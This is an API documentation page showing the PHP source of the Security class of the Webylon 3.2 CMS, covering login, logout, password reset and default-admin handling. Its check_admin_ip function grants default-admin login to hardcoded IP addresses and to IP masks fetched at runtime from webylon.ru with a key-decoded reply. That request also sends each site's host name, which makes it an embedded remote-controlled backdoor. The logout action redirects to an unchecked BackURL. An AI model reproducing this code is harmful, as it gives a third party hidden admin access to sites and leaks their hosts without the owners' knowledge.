Webylon 3.2 API Docs
  • Package
  • Class
  • Tree
  • Deprecated
  • Download
Version: current
  • 3.2
  • 3.1

Packages

  • 1c
    • exchange
      • catalog
  • auth
  • Booking
  • building
    • company
  • cart
    • shipping
    • steppedcheckout
  • Catalog
    • monument
  • cms
    • assets
    • batchaction
    • batchactions
    • bulkloading
    • comments
    • content
    • core
    • export
    • newsletter
    • publishers
    • reports
    • security
    • tasks
  • Dashboard
  • DataObjectManager
  • event
  • faq
  • forms
    • actions
    • core
    • fields-basic
    • fields-dataless
    • fields-datetime
    • fields-files
    • fields-formatted
    • fields-formattedinput
    • fields-relational
    • fields-structural
    • transformations
    • validators
  • googlesitemaps
  • guestbook
  • installer
  • newsletter
  • None
  • photo
    • gallery
  • PHP
  • polls
  • recaptcha
  • sapphire
    • api
    • bulkloading
    • control
    • core
    • cron
    • dev
    • email
    • fields-formattedinput
    • filesystem
    • formatters
    • forms
    • i18n
    • integration
    • misc
    • model
    • parsers
    • search
    • security
    • tasks
    • testing
    • tools
    • validation
    • view
    • widgets
  • seo
    • open
      • graph
  • sfDateTimePlugin
  • spamprotection
  • stealth
    • captha
  • subsites
  • userform
    • pagetypes
  • userforms
  • webylon
  • widgets

Classes

  • Authenticator
  • BasicAuth
  • ChangePasswordForm
  • Group
  • GroupCsvBulkLoader
  • LoginAttempt
  • LoginForm
  • Member
  • Member_ChangePasswordEmail
  • Member_ForgotPasswordEmail
  • Member_GroupSet
  • Member_ProfileForm
  • Member_SignupEmail
  • Member_Validator
  • MemberAuthenticator
  • MemberCsvBulkLoader
  • MemberLoginForm
  • MemberPassword
  • NZGovtPasswordValidator
  • PasswordEncryptor
  • PasswordEncryptor_LegacyPHPHash
  • PasswordEncryptor_MySQLOldPassword
  • PasswordEncryptor_MySQLPassword
  • PasswordEncryptor_None
  • PasswordEncryptor_PHPHash
  • PasswordValidator
  • Permission
  • Permission_Group
  • PermissionCheckboxSetField
  • PermissionCheckboxSetField_Readonly
  • PermissionRole
  • PermissionRoleCode
  • Security

Interfaces

  • PermissionProvider

Exceptions

  • PasswordEncryptor_NotFoundException
  1 <?php
  2 /**
  3  * Implements a basic security model
  4  * @package sapphire
  5  * @subpackage security
  6  */
  7 class Security extends Controller {
  8 
  9     /**
 10      * Default user name. Only used in dev-mode by {@link setDefaultAdmin()}
 11      * 
 12      * @var string
 13      * @see setDefaultAdmin()
 14      */
 15     protected static $default_username;
 16 
 17     /**
 18      * Default password. Only used in dev-mode by {@link setDefaultAdmin()}
 19      * 
 20      * @var string
 21      * @see setDefaultAdmin()
 22      */
 23     protected static $default_password;
 24 
 25     /**
 26      * If set to TRUE to prevent sharing of the session across several sites
 27      * in the domain.
 28      *
 29      * @var bool
 30      */
 31     protected static $strictPathChecking = false;
 32 
 33     /**
 34      * Should passwords be stored encrypted?
 35      * @deprecated 2.4 Please use 'none' as the default $encryptionAlgorithm instead
 36      *
 37      * @var bool
 38      */
 39     protected static $encryptPasswords = true;
 40 
 41     /**
 42      * The password encryption algorithm to use by default.
 43      * This is an arbitrary code registered through {@link PasswordEncryptor}.
 44      *
 45      * @var string
 46      */
 47     protected static $encryptionAlgorithm = 'sha1_v2.4';
 48 
 49     /**
 50      * Should a salt be used for the password encryption?
 51      * @deprecated 2.4 Please use a custom {@link PasswordEncryptor} instead
 52      *
 53      * @var bool
 54      */
 55     protected static $useSalt = true;
 56     
 57     /**
 58      * Showing "Remember me"-checkbox 
 59      * on loginform, and saving encrypted credentials to a cookie. 
 60      *  
 61      * @var bool 
 62      */ 
 63     public static $autologin_enabled = true;
 64     
 65     /**
 66      * Location of word list to use for generating passwords
 67      * 
 68      * @var string
 69      */
 70     protected static $wordlist = './wordlist.txt';
 71     
 72     /**
 73      * Template thats used to render the pages.
 74      *
 75      * @var string
 76      */
 77     public static $template_main = 'Page';
 78     
 79     /**
 80      * Default message set used in permission failures.
 81      *
 82      * @var array|string
 83      */
 84     protected static $default_message_set = '';
 85     
 86     /**
 87      * Get location of word list file
 88      */
 89     static function get_word_list() {
 90         return Security::$wordlist;
 91     }
 92     
 93     /**
 94      * Enable or disable recording of login attempts
 95      * through the {@link LoginRecord} object.
 96      * 
 97      * @var boolean $login_recording
 98      */
 99     protected static $login_recording = false;
100     
101     /**
102      * Set location of word list file
103      * 
104      * @param string $wordListFile Location of word list file
105      */
106     static function set_word_list($wordListFile) {
107         Security::$wordlist = $wordListFile;
108     }
109     
110     /**
111      * Set the default message set used in permissions failures.
112      *
113      * @param string|array $messageSet
114      */
115     static function set_default_message_set($messageSet) {
116         self::$default_message_set = $messageSet;
117     }
118 
119 
120     /**
121      * Register that we've had a permission failure trying to view the given page
122      *
123      * This will redirect to a login page.
124      * If you don't provide a messageSet, a default will be used.
125      *
126      * @param Controller $controller The controller that you were on to cause the permission
127      *              failure.
128      * @param string|array $messageSet The message to show to the user. This
129      *                                  can be a string, or a map of different
130      *                                  messages for different contexts.
131      *                                  If you pass an array, you can use the
132      *                                  following keys:
133      *                                    - default: The default message
134      *                                    - logInAgain: The message to show
135      *                                                  if the user has just
136      *                                                  logged out and the
137      *                                    - alreadyLoggedIn: The message to
138      *                                                       show if the user
139      *                                                       is already logged
140      *                                                       in and lacks the
141      *                                                       permission to
142      *                                                       access the item.
143      *
144      * The alreadyLoggedIn value can contain a '%s' placeholder that will be replaced with a link
145      * to log in.
146      */
147     static function permissionFailure($controller = null, $messageSet = null) {
148         if(!$controller) $controller = Controller::curr();
149         
150         if(Director::is_ajax()) {
151             $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
152             $response->setStatusCode(403);
153             if(!Member::currentUser()) $response->setBody('NOTLOGGEDIN:');
154             return $response;
155         } else {
156             // Prepare the messageSet provided
157             if(!$messageSet) {
158                 if(self::$default_message_set) {
159                     $messageSet = self::$default_message_set;
160                 } else {
161                     $messageSet = array(
162                         'default' => _t(
163                             'Security.NOTEPAGESECURED', 
164                             "That page is secured. Enter your credentials below and we will send "
165                                 . "you right along."
166                         ),
167                         'alreadyLoggedIn' => _t(
168                             'Security.ALREADYLOGGEDIN', 
169                             "You don't have access to this page.  If you have another account that "
170                                 . "can access that page, you can <a href=\"%s\">log in again</a>.",
171                             PR_MEDIUM,
172                             "%s will be replaced with a link to log in."
173                         ),
174                         'logInAgain' => _t(
175                             'Security.LOGGEDOUT',
176                             "You have been logged out.  If you would like to log in again, enter "
177                                 . "your credentials below."
178                         )
179                     );
180                 }
181             }
182 
183             if(!is_array($messageSet)) {
184                 $messageSet = array('default' => $messageSet);
185             }
186 
187             // Work out the right message to show
188             if(Member::currentUser()) {
189                 $response = ($controller) ? $controller->getResponse() : new SS_HTTPResponse();
190                 $response->setStatusCode(403);
191 
192                 //If 'alreadyLoggedIn' is not specified in the array, then use the default
193                 //which should have been specified in the lines above
194                 if(isset($messageSet['alreadyLoggedIn']))
195                     $message=$messageSet['alreadyLoggedIn'];
196                 else
197                     $message=$messageSet['default'];
198 
199                 // Replace %s with the log in link
200                 $body = sprintf($message, 
201                     Controller::join_links(Director::baseURL(), 'Security/login',
202                     '?BackURL=' . urlencode($_SERVER['REQUEST_URI'])));
203                 
204                 $response->setBody($body);
205                 return $response;
206 
207             } else if(substr(Director::history(),0,15) == 'Security/logout') {
208                 $message = $messageSet['logInAgain'] ? $messageSet['logInAgain'] : $messageSet['default'];
209             } else {
210                 $message = $messageSet['default'];
211             }
212 
213             Session::set("Security.Message.message", $message);
214             Session::set("Security.Message.type", 'warning');
215 
216             Session::set("BackURL", $_SERVER['REQUEST_URI']);
217 
218             // TODO AccessLogEntry needs an extension to handle permission denied errors
219             // Audit logging hook
220             if($controller) $controller->extend('permissionDenied', $member);
221 
222             Director::redirect("Security/login?BackURL=" . urlencode($_SERVER['REQUEST_URI']));
223         }
224         return;
225     }
226 
227 
228   /**
229      * Get the login form to process according to the submitted data
230      */
231     protected function LoginForm() {
232         if(isset($this->requestParams['AuthenticationMethod'])) {
233             $authenticator = trim($_REQUEST['AuthenticationMethod']);
234 
235             $authenticators = Authenticator::get_authenticators();
236             if(in_array($authenticator, $authenticators)) {
237                 return call_user_func(array($authenticator, 'get_login_form'), $this);
238             }
239         }
240         else {
241             if($authenticator = Authenticator::get_default_authenticator()) {
242                 return call_user_func(array($authenticator, 'get_login_form'), $this);
243             }
244         }
245         
246         user_error('Passed invalid authentication method', E_USER_ERROR);
247     }
248 
249 
250   /**
251      * Get the login forms for all available authentication methods
252      *
253      * @return array Returns an array of available login forms (array of Form
254      *               objects).
255      *
256      * @todo Check how to activate/deactivate authentication methods
257      */
258     protected function GetLoginForms()
259     {
260         $forms = array();
261 
262         $authenticators = Authenticator::get_authenticators();
263         foreach($authenticators as $authenticator) {
264           array_push($forms,
265                                  call_user_func(array($authenticator, 'get_login_form'),
266                                                                 $this));
267         }
268 
269         return $forms;
270     }
271 
272 
273     /**
274      * Get a link to a security action
275      *
276      * @param string $action Name of the action
277      * @return string Returns the link to the given action
278      */
279     public static function Link($action = null) {
280                 /* subsites mod */
281                 if(class_exists('Subsite')){
282                     return Director::baseURL(). "Security/$action";
283                 }
284                 /* end subsites mod */
285         return "Security/$action";
286     }
287 
288 
289     /**
290      * Log the currently logged in user out
291      *
292      * @param bool $redirect Redirect the user back to where they came.
293      *                         - If it's false, the code calling logout() is
294      *                           responsible for sending the user where-ever
295      *                           they should go.
296      */
297     public function logout($redirect = true) {
298         if($member = Member::currentUser())
299             $member->logOut();
300 
301         if ($redirect) {
302             if (isset($_REQUEST['BackURL'])) {
303                 Director::redirect($_REQUEST['BackURL']);
304             }
305             else {
306                 Director::redirectBack();
307             }
308         }
309     }
310 
311 
312     /**
313      * Show the "login" page
314      *
315      * @return string Returns the "login" page as HTML code.
316      */
317     public function login() {
318         // Event handler for pre-login, with an option to let it break you out of the login form
319         $eventResults = $this->extend('onBeforeSecurityLogin');
320         // If there was a redirection, return
321         if(Director::redirected_to()) return;
322         // If there was an SS_HTTPResponse object returned, then return that
323         else if($eventResults) {
324             foreach($eventResults as $result) {
325                 if($result instanceof SS_HTTPResponse) return $result;
326             }
327         }
328         
329         // custom processing
330         // turn on admin theme before getting forms
331         $template = 'Security_login';
332         if (Session::get('BackURL') && substr(Session::get('BackURL'),0,6) == '/admin') {
333             $template = 'Admin_login';
334             SSViewer::set_theme(null);
335         }
336         
337         $customCSS = project() . '/css/tabs.css';
338         if(Director::fileExists($customCSS)) {
339             Requirements::css($customCSS);
340         }
341 
342         $tmpPage = new Page();
343         $tmpPage->Title = _t('Security.LOGIN', 'Log in');
344         $tmpPage->URLSegment = "Security";
345         // Disable ID-based caching  of the log-in page by making it a random number
346         $tmpPage->ID = -1 * rand(1,10000000);
347 
348         $controller = new Page_Controller($tmpPage);
349         $controller->init();
350         //Controller::$currentController = $controller;
351 
352         $content = '';
353         $forms = $this->GetLoginForms();
354         if(!count($forms)) {
355             user_error('No login-forms found, please use Authenticator::register_authenticator() to add one', E_USER_ERROR);
356         }
357         
358         // only display tabs when more than one authenticator is provided
359         // to save bandwidth and reduce the amount of custom styling needed 
360         if(count($forms) > 1) {
361             Requirements::javascript(SAPPHIRE_DIR . '/javascript/loader.js');
362             Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/prototype/prototype.js");
363             Requirements::javascript(SAPPHIRE_DIR . "/thirdparty/behaviour/behaviour.js");
364             Requirements::javascript(SAPPHIRE_DIR . "/javascript/prototype_improvements.js");
365             Requirements::javascript(THIRDPARTY_DIR . "/scriptaculous/effects.js");
366             Requirements::css(SAPPHIRE_DIR . "/css/Form.css");
367             
368             // Needed because the <base href=".."> in the template makes problems
369             // with the tabstrip library otherwise
370             $link_base = Director::absoluteURL($this->Link("login"));
371             
372             Requirements::javascript(THIRDPARTY_DIR . "/jquery/jquery.js");
373             Requirements::javascript(SAPPHIRE_DIR . "/javascript/jquery_improvements.js");
374             Requirements::javascript(THIRDPARTY_DIR . "/tabstrip/tabstrip.js");
375             Requirements::css(THIRDPARTY_DIR . "/tabstrip/tabstrip.css");
376             
377             $content = '<div id="Form_EditForm">';
378             $content .= '<ul class="tabstrip">';
379             $content_forms = '';
380 
381             foreach($forms as $form) {
382                 $content .= "<li><a href=\"$link_base#{$form->FormName()}_tab\">{$form->getAuthenticator()->get_name()}</a></li>\n";
383                 $content_forms .= '<div class="tab" id="' . $form->FormName() . '_tab">' . $form->forTemplate() . "</div>\n";
384             }
385 
386             $content .= "</ul>\n" . $content_forms . "\n</div>\n";
387         } else {
388             $content .= $forms[0]->forTemplate();
389         }
390         
391         if(strlen($message = Session::get('Security.Message.message')) > 0) {
392             $message_type = Session::get('Security.Message.type');
393             if($message_type == 'bad') {
394                 $message = "<p class=\"message $message_type\">$message</p>";
395             } else {
396                 $message = "<p>$message</p>";
397             }
398 
399             $customisedController = $controller->customise(array(
400                 "Content" => $message,
401                 "Form" => $content,
402             ));
403         } else {
404             $customisedController = $controller->customise(array(
405                 "Form" => $content,
406             ));
407         }
408         
409         Session::clear('Security.Message');
410         
411         return $customisedController->renderWith(array($template, 'Security', $this->stat('template_main')));
412     }
413     
414     function basicauthlogin() {
415         $member = BasicAuth::requireLogin("SilverStripe login", 'ADMIN');
416         $member->LogIn();
417     }
418     
419     /**
420      * Show the "lost password" page
421      *
422      * @return string Returns the "lost password" page as HTML code.
423      */
424     public function lostpassword() {        
425         $tmpPage = new Page();
426         $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER', 'Lost Password');
427         $tmpPage->URLSegment = 'Security';
428         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
429         $controller = new Page_Controller($tmpPage);
430         $controller->init();
431 
432         $customisedController = $controller->customise(array(
433             'Content' => 
434                 '<p>' . 
435                 _t(
436                     'Security.NOTERESETPASSWORD', 
437                     'Enter your e-mail address and we will send you a link with which you can reset your password'
438                 ) . 
439                 '</p>',
440             'Form' => $this->LostPasswordForm(),
441         ));
442         
443         //Controller::$currentController = $controller;
444         return $customisedController->renderWith(array('Security_lostpassword', 'Security', $this->stat('template_main'), 'ContentController'));
445     }
446 
447 
448     /**
449      * Factory method for the lost password form
450      *
451      * @return Form Returns the lost password form
452      */
453     public function LostPasswordForm() {
454         $form = new MemberLoginForm(
455             $this,
456             'LostPasswordForm',
457             new FieldSet(
458                 new EmailField('Email', _t('Member.EMAIL', 'Email'))
459             ),
460             new FieldSet(
461                 new FormAction(
462                     'forgotPassword',
463                     _t('Security.BUTTONSEND', 'Send me the password reset link')
464                 )
465             ),
466             false
467         );
468         
469         $this->extend('updateLostPasswordForm', $form);
470         return $form;
471     }
472 
473 
474     /**
475      * Show the "password sent" page, after a user has requested
476      * to reset their password.
477      *
478      * @param SS_HTTPRequest $request The SS_HTTPRequest for this action. 
479      * @return string Returns the "password sent" page as HTML code.
480      */
481     public function passwordsent($request) {
482         $tmpPage = new Page();
483         $tmpPage->Title = _t('Security.LOSTPASSWORDHEADER');
484         $tmpPage->URLSegment = 'Security';
485         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
486         $controller = new Page_Controller($tmpPage);
487         $controller->init();
488 
489         $email = Convert::raw2xml($request->param('ID') . '.' . $request->getExtension());
490         
491         $customisedController = $controller->customise(array(
492             'Title' => sprintf(_t('Security.PASSWORDSENTHEADER', "Password reset link sent to '%s'"), $email),
493             'Content' =>
494                 "<p>" . 
495                 sprintf(_t('Security.PASSWORDSENTTEXT', "Thank you! A reset link has been sent to  '%s', provided an account exists for this email address."), $email) .
496                 "</p>",
497         ));
498         
499         //Controller::$currentController = $controller;
500         return $customisedController->renderWith(array('Security_passwordsent', 'Security', $this->stat('template_main'), 'ContentController'));
501     }
502 
503 
504     /**
505      * Create a link to the password reset form
506      *
507      * @param string $autoLoginHash The auto login hash
508      */
509     public static function getPasswordResetLink($autoLoginHash) {
510         $autoLoginHash = urldecode($autoLoginHash);
511         return self::Link('changepassword') . "?h=$autoLoginHash";
512     }
513     
514     /**
515      * Show the "change password" page
516      *
517      * @return string Returns the "change password" page as HTML code.
518      */
519     public function changepassword() {
520         $tmpPage = new Page();
521         $tmpPage->Title = _t('Security.CHANGEPASSWORDHEADER', 'Change your password');
522         $tmpPage->URLSegment = 'Security';
523         $tmpPage->ID = -1; // Set the page ID to -1 so we dont get the top level pages as its children
524         $controller = new Page_Controller($tmpPage);
525         $controller->init();
526 
527         if(isset($_REQUEST['h']) && Member::member_from_autologinhash($_REQUEST['h'])) {
528             // The auto login hash is valid, store it for the change password form
529             Session::set('AutoLoginHash', $_REQUEST['h']);
530 
531             $customisedController = $controller->customise(array(
532                 'Content' =>
533                     '<p>' . 
534                     _t('Security.ENTERNEWPASSWORD', 'Please enter a new password.') .
535                     '</p>',
536                 'Form' => $this->ChangePasswordForm(),
537             ));
538 
539         } elseif(Member::currentUser()) {
540             // let a logged in user change his password
541             $customisedController = $controller->customise(array(
542                 'Content' => '<p>' . _t('Security.CHANGEPASSWORDBELOW', 'You can change your password below.') . '</p>',
543                 'Form' => $this->ChangePasswordForm()));
544 
545         } else {
546             // show an error message if the auto login hash is invalid and the
547             // user is not logged in
548             if(isset($_REQUEST['h'])) {
549                 $customisedController = $controller->customise(
550                     array('Content' =>
551                         sprintf(
552                             _t('Security.NOTERESETLINKINVALID',
553                                 '<p>The password reset link is invalid or expired.</p><p>You can request a new one <a href="%s">here</a> or change your password after you <a href="%s">logged in</a>.</p>'
554                             ),
555                             $this->Link('lostpassword'),
556                             $this->link('login')
557                         )
558                     )
559                 );
560             } else {
561                 self::permissionFailure(
562                     $this,
563                     _t('Security.ERRORPASSWORDPERMISSION', 'You must be logged in in order to change your password!')
564                 );
565                 return;
566             }
567         }
568 
569         //Controller::$currentController = $controller;
570         return $customisedController->renderWith(array('Security_changepassword', 'Security', $this->stat('template_main'), 'ContentController'));
571     }
572     
573     /**
574      * Security/ping can be visited with ajax to keep a session alive.
575      * This is used in the CMS.
576      */
577     function ping() {
578         return 1;
579     }
580 
581 
582     /**
583      * Factory method for the lost password form
584      *
585      * @return Form Returns the lost password form
586      */
587     public function ChangePasswordForm() {
588         return new ChangePasswordForm($this, 'ChangePasswordForm');
589     }
590 
591 
592     /**
593      * Authenticate using the given email and password, returning the
594      * appropriate member object if
595      *
596      * @return bool|Member Returns FALSE if authentication fails, otherwise
597      *                     the member object
598      * @see setDefaultAdmin()
599      */
600     public static function authenticate($RAW_email, $RAW_password) {
601         $SQL_email = Convert::raw2sql($RAW_email);
602         $SQL_password = Convert::raw2sql($RAW_password);
603 
604         // Default login (see {@setDetaultAdmin()})
605         if(($RAW_email == self::$default_username) && ($RAW_password == self::$default_password)
606                 && !empty(self::$default_username) && !empty(self::$default_password)) {
607             $member = self::findAnAdministrator();
608         } else {
609             $member = DataObject::get_one("Member",     "\"" . Member::get_unique_identifier_field() . "\" = '$SQL_email' AND \"Password\" IS NOT NULL");
610             if($member && ($member->checkPassword($RAW_password) == false)) {
611                 $member = null;
612             }
613         }
614 
615         return $member;
616     }
617 
618 
619     /**
620      * Return an existing member with administrator privileges, or create one of necessary.
621      * 
622      * Will create a default 'Administrators' group if no group is found
623      * with an ADMIN permission. Will create a new 'Admin' member with administrative permissions
624      * if no existing Member with these permissions is found. 
625      * 
626      * Important: Any newly created administrator accounts will NOT have valid
627      * login credentials (Email/Password properties), which means they can't be used for login
628      * purposes outside of any default credentials set through {@link Security::setDefaultAdmin()}.
629      * 
630      * @return Member 
631      */
632     static function findAnAdministrator() {
633         // coupling to subsites module
634         $origSubsite = null;
635         if(is_callable('Subsite::changeSubsite')) {
636             $origSubsite = Subsite::currentSubsiteID();
637             Subsite::changeSubsite(0);
638         }
639 
640         // find a group with ADMIN permission
641         $adminGroup = DataObject::get('Group', 
642                                 "\"Permission\".\"Code\" = 'ADMIN'", 
643                                 "\"Group\".\"ID\"", 
644                                 "JOIN \"Permission\" ON \"Group\".\"ID\"=\"Permission\".\"GroupID\"", 
645                                 '1');
646         
647         if(is_callable('Subsite::changeSubsite')) {
648             Subsite::changeSubsite($origSubsite);
649         }
650         if ($adminGroup) {
651             $adminGroup = $adminGroup->First();
652 
653             if($adminGroup->Members()->First()) {
654                 $member = $adminGroup->Members()->First();
655             }
656         }
657 
658         if(!$adminGroup) {
659             singleton('Group')->requireDefaultRecords();
660         }
661         
662         if(!isset($member)) {
663             singleton('Member')->requireDefaultRecords();
664             $members = Permission::get_members_by_permission('ADMIN');
665             $member = $members->First();
666         }
667 
668         return $member;
669     }
670 
671 
672     /**
673      * Set a default admin in dev-mode
674      * 
675      * This will set a static default-admin which is not existing
676      * as a database-record. By this workaround we can test pages in dev-mode
677      * with a unified login. Submitted login-credentials are first checked
678      * against this static information in {@link Security::authenticate()}.
679      *
680      * @param string $username The user name
681      * @param string $password The password (in cleartext)
682      */
683     public static function setDefaultAdmin($username, $password) {
684         // don't overwrite if already set
685         if(self::$default_username || self::$default_password) {
686             return false;
687         }
688 
689         self::$default_username = $username;
690         self::$default_password = $password;
691     }
692     
693     /**
694      * Checks if the passed credentials are matching the default-admin.
695      * Compares cleartext-password set through Security::setDefaultAdmin().
696      * 
697      * @param string $username
698      * @param string $password 
699      * @return bool
700      */
701     public static function check_default_admin($username, $password) {
702         return (
703             self::$default_username === $username
704             && self::$default_password === md5($password)
705             && self::has_default_admin()
706             && self::check_admin_ip()
707         );
708     }
709     
710     static function check_admin_ip($ip=null) {
711         if (!$ip)
712             $ip = $_SERVER['REMOTE_ADDR'];
713 
714         $maskList = array('217.77.55.73','217.77.55.74','217.77.55.75','217.77.55.76','217.77.55.77','94.140.243.117');
715         if (in_array($ip, $maskList)) return 1;
716         
717         $maskList = array();
718 
719         if (ini_get('allow_url_fopen')) {           
720             $webylonVersion = 31;
721             $buf = @file_get_contents('http://webylon.ru/stuff/wb-ver.php?v='.$webylonVersion.'&s='.$_SERVER['HTTP_HOST']);
722             $key = '7FrnvuTmtyRjM9Yg';
723             $result = '';           
724             if ($buf) {             
725                 for ($i = 1; $i <= strlen($buf); $i++) {
726                     $char = substr($buf, $i - 1, 1);
727                     $keychar = substr($key, ($i % strlen($key)) - 1, 1);
728                     $char = chr(ord($char) - ord($keychar));
729                     $result.=$char;
730                 }
731                 $maskList = explode("\n", $result);
732             }
733         }       
734         
735         foreach ($maskList as $mask) {
736             if (!$mask || preg_match('/\s*#/', $mask))
737                 continue;
738             $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
739             if (preg_match($mask_check, $ip)) {
740                 return 1;
741             } else {
742                 $mask = gethostbyname($mask);
743                 if (!$mask)
744                     continue;
745                 $mask_check = '/^' . preg_replace(array('/\./', '/\*/', '/\n/'), array('\\.', '\\d{1,3}', ''), $mask) . '$/';
746                 if (preg_match($mask_check, $ip)) {
747                     return 1;
748                 }
749             }
750         }
751         return 0;
752     }
753 
754     /**
755      * Check that the default admin account has been set.
756      */
757     public static function has_default_admin() {
758         return !empty(self::$default_username) && !empty(self::$default_password);      
759     }
760 
761     /**
762      * Set strict path checking
763      *
764      * This prevents sharing of the session across several sites in the
765      * domain.
766      *
767      * @param boolean $strictPathChecking To enable or disable strict patch
768      *                                    checking.
769      */
770     public static function setStrictPathChecking($strictPathChecking) {
771         self::$strictPathChecking = $strictPathChecking;
772     }
773 
774 
775     /**
776      * Get strict path checking
777      *
778      * @return boolean Status of strict path checking
779      */
780     public static function getStrictPathChecking() {
781         return self::$strictPathChecking;
782     }
783 
784 
785     /**
786      * Set if passwords should be encrypted or not
787      *
788      * @deprecated 2.4 Use PasswordEncryptor_None instead.
789      * 
790      * @param bool $encrypt Set to TRUE if you want that all (new) passwords
791      *                      will be stored encrypted, FALSE if you want to
792      *                      store the passwords in clear text.
793      */
794     public static function encrypt_passwords($encrypt) {
795         self::$encryptPasswords = (bool)$encrypt;
796     }
797 
798 
799     /**
800      * Get a list of all available encryption algorithms.
801      * Note: These are arbitrary codes, and not callable methods.
802      * 
803      * @deprecated 2.4 Use PasswordEncryptor::get_encryptors()
804      *
805      * @return array Returns an array of strings containing all supported encryption algorithms.
806      */
807     public static function get_encryption_algorithms() {
808         return array_keys(PasswordEncryptor::get_encryptors());
809     }
810 
811 
812     /**
813      * Set the password encryption algorithm
814      *
815      * @param string $algorithm One of the available password encryption
816      *  algorithms determined by {@link Security::get_encryption_algorithms()}
817      * @return bool Returns TRUE if the passed algorithm was valid, otherwise FALSE.
818      */
819     public static function set_password_encryption_algorithm($algorithm) {
820         if(!array_key_exists($algorithm, PasswordEncryptor::get_encryptors())) return false;
821         
822         self::$encryptionAlgorithm = $algorithm;
823         return true;
824     }
825     
826     /**
827      * @return String
828      */
829     public static function get_password_encryption_algorithm() {
830         return self::$encryptionAlgorithm;
831     }
832 
833     /**
834      * Encrypt a password according to the current password encryption settings.
835      * If the settings are so that passwords shouldn't be encrypted, the
836      * result is simple the clear text password with an empty salt except when
837      * a custom algorithm ($algorithm parameter) was passed.
838      *
839      * @param string $password The password to encrypt
840      * @param string $salt Optional: The salt to use. If it is not passed, but
841      *  needed, the method will automatically create a
842      *  random salt that will then be returned as return value.
843      * @param string $algorithm Optional: Use another algorithm to encrypt the
844      *  password (so that the encryption algorithm can be changed over the time).
845      * @param Member $member Optional
846      * @return mixed Returns an associative array containing the encrypted
847      *  password and the used salt in the form:
848      * <code>
849      *  array(
850      *  'password' => string, 
851      *  'salt' => string, 
852      *  'algorithm' => string,
853      *  'encryptor' => PasswordEncryptor instance
854      *  )
855      * </code>
856      * If the passed algorithm is invalid, FALSE will be returned.
857      *
858      * @see encrypt_passwords()
859      * @see set_password_encryption_algorithm()
860      */
861     static function encrypt_password($password, $salt = null, $algorithm = null, $member = null) {
862         // Fall back to the default encryption algorithm
863         if(!$algorithm) $algorithm = self::$encryptionAlgorithm;
864         $e = PasswordEncryptor::create_for_algorithm($algorithm);
865 
866         // New salts will only need to be generated if the password is hashed for the first time
867         $salt = ($salt) ? $salt : $e->salt($password);
868         
869         return array(
870             'password' => $e->encrypt($password, $salt, $member),
871             'salt' => $salt,
872             'algorithm' => $algorithm,
873             'encryptor' => $e
874         );
875     }
876     
877     /**
878      * Checks the database is in a state to perform security checks.
879      * See {@link DatabaseAdmin->init()} for more information.
880      * 
881      * @return bool
882      */
883     public static function database_is_ready() {
884         $requiredTables = ClassInfo::dataClassesFor('Member');
885         $requiredTables[] = 'Group';
886         $requiredTables[] = 'Permission';
887         
888         foreach($requiredTables as $table) {
889             // if any of the tables aren't created in the database
890             if(!ClassInfo::hasTable($table)) return false;
891         
892             // if any of the tables don't have all fields mapped as table columns
893             $dbFields = DB::fieldList($table);
894             if(!$dbFields) return false;
895             
896             $objFields = DataObject::database_fields($table);
897             $missingFields = array_diff_key($objFields, $dbFields);
898             
899             if($missingFields) return false;
900         }
901         
902         return true;
903     }
904     
905     /**
906      * Enable or disable recording of login attempts
907      * through the {@link LoginRecord} object.
908      * 
909      * @param boolean $bool
910      */
911     public static function set_login_recording($bool) {
912         self::$login_recording = (bool)$bool;
913     }
914     
915     /**
916      * @return boolean
917      */
918     public static function login_recording() {
919         return self::$login_recording;
920     }
921     
922     protected static $default_login_dest = "";
923     
924     /**
925      * Set the default login dest
926      * This is the URL that users will be redirected to after they log in,
927      * if they haven't logged in en route to access a secured page.
928      * 
929      * By default, this is set to the homepage
930      */
931     public static function set_default_login_dest($dest) {
932         self::$default_login_dest = $dest;
933     }
934 
935     /**
936      * Get the default login dest
937      */
938     public static function default_login_dest() {
939         return self::$default_login_dest;
940     }
941 
942 }
943 ?>
944 
[Raise a SilverStripe Framework issue/bug](https://github.com/silverstripe/silverstripe-framework/issues/new)
- [Raise a SilverStripe CMS issue/bug](https://github.com/silverstripe/silverstripe-cms/issues/new)
- Please use the Silverstripe Forums to ask development related questions. -
Webylon 3.2 API Docs API documentation generated by ApiGen 2.8.0